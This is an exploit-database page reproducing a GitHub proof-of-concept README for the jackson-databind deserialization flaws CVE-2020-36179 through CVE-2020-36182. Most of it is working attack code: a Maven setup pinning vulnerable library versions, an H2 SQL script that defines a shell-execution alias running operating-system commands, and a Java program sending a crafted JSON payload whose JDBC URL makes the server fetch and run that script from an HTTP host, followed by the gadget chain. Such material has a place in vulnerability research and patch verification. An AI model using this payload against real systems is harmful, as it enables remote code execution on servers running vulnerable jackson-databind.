Sploitus

Exploit for Deserialization of Untrusted Data in Netapp Cloud Backup

CVE-2020-36179CVE-2020-36180CVE-2020-36181CVE-2020-36182

githubexploit · 2021-01-10

Exploit Code

README99 lines
## https://sploitus.com/exploit?id=A46721A6-23E8-5E16-B9CA-0C887A66551D
## Description
CVE-2020-36179：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS.

CVE-2020-36180：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.

CVE-2020-36181：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS.

CVE-2020-36182：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.

## How to RCE
Because the above four CVE security vulnerabilities are triggered in a similar way, here we only take CVE-2020-36180 as an example:

pom.xml
```


    4.0.0

    com.jacksonTest
    jacksonTest
    1.0-SNAPSHOT
    
        
            com.fasterxml.jackson.core
            jackson-databind
            2.9.10.7
        
        
        
            org.apache.commons
            commons-dbcp2
            2.8.0
        
        
        
            com.h2database
            h2
            1.4.199
        

        
            org.slf4j
            slf4j-nop
            1.7.2
        
        
        
            javax.transaction
            jta
            1.1
        
    

```

exec.sql:
```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
```

poc.java
```
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        String payload = "[\"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:3333/exec.sql'\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        Object obj = mapper.readValue(payload, Object.class);
        mapper.writeValueAsString(obj);
    }
}
```

result:

![result](img/result.jpg)

Gadget:

```
DriverAdapterCPDS
    ->seturl
        ->getPooledConnection
            ->DirverManager.getConnection(this.url,username,pass)
```